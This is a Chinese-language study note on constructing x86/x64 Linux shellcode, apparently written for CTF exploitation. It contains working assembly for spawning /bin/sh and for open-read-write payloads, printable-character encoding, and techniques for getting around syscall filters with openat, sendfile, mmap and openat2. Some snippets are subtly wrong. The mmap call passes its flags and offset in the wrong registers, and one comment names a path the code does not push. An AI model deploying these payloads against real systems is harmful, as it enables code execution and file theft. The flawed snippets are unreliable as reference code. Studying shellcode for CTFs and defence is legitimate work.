x86_shellcode的一些总结
字数 1149 2025-08-22 12:23:47
x86/x64 Shellcode 构造与优化技术详解
一、Shellcode基础概念
Shellcode是一段机器码,通过漏洞程序产生的非法执行造成泄露、提权、getshell等危害。通常通过编译汇编语言来得到对应机器码。
关键特点:
- 需要避免空字节(\x00)
- 需要自包含,不依赖外部环境
- 需要尽可能短小精悍
- 需要适应目标环境(32位/64位)
二、32位Shellcode构造
1. 系统调用基础
- 使用
int 0x80进行系统调用 - 传参寄存器顺序:ebx, ecx, edx
- execve系统调用号:11 (0x0b)
2. 基本getshell shellcode
xor ecx, ecx ; 清空ecx
xor edx, edx ; 清空edx
xor ebx, ebx ; 清空ebx
push ebx ; 压入字符串结束符\x00
push 0x68732f2f ; 压入"//sh"
push 0x6e69622f ; 压入"/bin"
mov ebx, esp ; ebx指向"/bin//sh\x00"
xor eax, eax ; 清空eax
push 11 ; execve系统调用号
pop eax ; 设置eax=11
int 0x80 ; 执行系统调用
3. ORW(Open-Read-Write) shellcode
; open("flag", 0, 0)
push 0x67616c66 ; 压入"flag"
push esp ; 获取字符串地址
pop ebx ; ebx指向"flag"
xor ecx, ecx ; flags=0
xor edx, edx ; mode=0
push 5 ; open系统调用号
pop eax ; 设置eax=5
int 0x80 ; 执行open
; read(3, buf, len)
mov ebx, eax ; 文件描述符(open返回)
push esp ; 获取缓冲区地址
pop ecx ; ecx指向缓冲区
push 0x100 ; 读取长度
pop edx ; edx=0x100
push 3 ; read系统调用号
pop eax ; 设置eax=3
int 0x80 ; 执行read
; write(1, buf, len)
push 1 ; stdout文件描述符
pop ebx ; ebx=1
push esp ; 获取缓冲区地址
pop ecx ; ecx指向缓冲区
push 0x50 ; 写入长度
pop edx ; edx=0x50
push 4 ; write系统调用号
pop eax ; 设置eax=4
int 0x80 ; 执行write
三、64位Shellcode构造
1. 系统调用基础
- 使用
syscall指令 - 传参寄存器顺序:rdi, rsi, rdx, r10, r8, r9
- execve系统调用号:59 (0x3b)
2. 基本getshell shellcode
mov rbx, 0x0068732f6e69622f ; "/bin/sh\x00"
push rbx
mov rdi, rsp ; rdi指向"/bin/sh\x00"
xor rsi, rsi ; argv=NULL
xor rdx, rdx ; envp=NULL
push 59 ; execve系统调用号
pop rax ; 设置rax=59
syscall ; 执行系统调用
3. 优化技巧
- 使用push/pop代替mov:
; 代替 mov rax, rdi
push rdi
pop rax
- 使用xor清零寄存器:
; 代替 mov rsi, 0
xor rsi, rsi
- 精简版本:
mov rbx, 0x0068732f6e69622f
push rbx
pop rdi ; 直接pop到rdi
xor rsi, rsi
xor rdx, rdx
push 59
pop rax
syscall
4. ORW shellcode
; open("./flag", 0, 0)
push 0x67616c66 ; "flag"
mov rdi, rsp ; rdi指向"./flag"
xor esi, esi ; flags=0
push 2 ; open系统调用号
pop rax
syscall
; read(3, buf, 0x100)
mov rdi, rax ; 文件描述符
mov rsi, rsp ; 缓冲区
mov edx, 0x100 ; 长度
xor eax, eax ; read系统调用号=0
syscall
; write(1, buf, len)
mov edi, 1 ; stdout
mov rsi, rsp ; 缓冲区
push 1 ; write系统调用号
pop rax
syscall
四、高级技巧
1. Reread技术
当shellcode空间有限时,可以先读入少量代码,再读取完整shellcode:
mov rdx, 37 ; 读取长度
xor rax, rax ; read系统调用号=0
syscall ; 第一次读取
; 之后发送完整shellcode
2. 可见字符shellcode
使用Ae64或alpha3工具生成纯ASCII字符的shellcode:
from ae64 import AE64
obj = AE64()
shellcode = asm(shellcraft.sh())
sc = obj.encode(shellcode, 'r13')
3. 手工构造可见字符shellcode
xor al,0x31
push 0x68
pop rcx
push 0x31
pop rdx
xor [rax+0x54],ecx ; 构造'h'
push 0x42
pop rcx
xor [rax+0x53],ecx
xor [rax+0x53],edx ; 构造's'
; 继续构造其他字符...
4. 绕过ret限制
当ret指令(0xc3)被过滤时,可以通过异或构造:
xor al,0x41 ; 0x41 ^ 0x82 = 0xc3 (ret)
五、ORW替代方案
1. open被禁用时
使用openat替代:
push 0x67616c66 ; "flag"
mov rsi, rsp ; 文件名
xor rdx, rdx ; flags=0
mov rdi, 0xffffff9c ; AT_FDCWD
push 257 ; openat系统调用号
pop rax
syscall
2. read被禁用时
使用sendfile替代:
mov rax, 0x67616c662f ; "/flag"
push rax
push 257
pop rax
mov rsi, rsp ; 文件名
xor rdi, rdi ; AT_FDCWD
xor rdx, rdx ; flags=0
xor r10, r10
syscall ; openat
mov r10d, 0x100 ; 长度
mov rsi, rax ; 源文件描述符
push 40 ; sendfile系统调用号
pop rax
push 1 ; stdout
pop rdi
xor rdx, rdx ; offset=0
syscall ; sendfile
3. write被禁用时
使用mmap将文件映射到内存:
mov rax, 0x67616c662f2e ; "/.flag"
mov rsi, 0
mov rdx, 0
push rax
mov rax, 2 ; open系统调用号
push rsp
pop rdi ; 文件名
syscall ; open
mov rdi, 0 ; 地址
mov rsi, 0x100 ; 长度
mov rdx, 7 ; PROT_READ|PROT_WRITE|PROT_EXEC
mov rcx, 2 ; MAP_PRIVATE
mov r10, 2 ; offset
mov r8, rax ; 文件描述符
mov r9, 0
mov rax, 9 ; mmap系统调用号
syscall ; mmap
push rax
pop rsi ; 映射地址
mov rax, 1 ; write系统调用号
mov rdi, 1 ; stdout
mov rdx, 0x40 ; 长度
syscall ; write
六、openat2技术
当open和openat都被禁用时,可以使用openat2(需要Linux 5.6+):
mov rax, 0x67616c66 ; "flag"
push rax
xor rdi, rdi ; rdi = -100
sub rdi, 100
mov rsi, rsp ; 文件名
push 0 ; struct open_how
push 0
push 0
mov rdx, rsp ; 指向struct
mov r10, 0x18 ; sizeof(struct)
push 437 ; openat2系统调用号
pop rax
syscall ; openat2
mov rdi, rax ; 文件描述符
mov rsi, rsp ; 缓冲区
mov edx, 0x100 ; 长度
xor eax, eax ; read系统调用号
syscall ; read
mov edi, 1 ; stdout
mov rsi, rsp ; 缓冲区
push 1 ; write系统调用号
pop rax
syscall ; write
七、总结
关键点:
- 32位使用
int 0x80,64位使用syscall - 参数传递顺序不同(32位:ebx,ecx,edx;64位:rdi,rsi,rdx,r10,r8,r9)
- 系统调用号不同(可通过
/usr/include/x86_64-linux-gnu/asm/unistd_32.h或unistd_64.h查询) - 字符串需要以NULL结尾,避免使用空字节
- 使用xor、push/pop等技巧减少代码大小
- ORW被限制时,寻找替代函数(openat, sendfile, mmap等)
- 可见字符shellcode可通过工具或手工异或构造
通过掌握这些技术,可以构造出适应各种环境的shellcode,绕过各种限制实现攻击目标。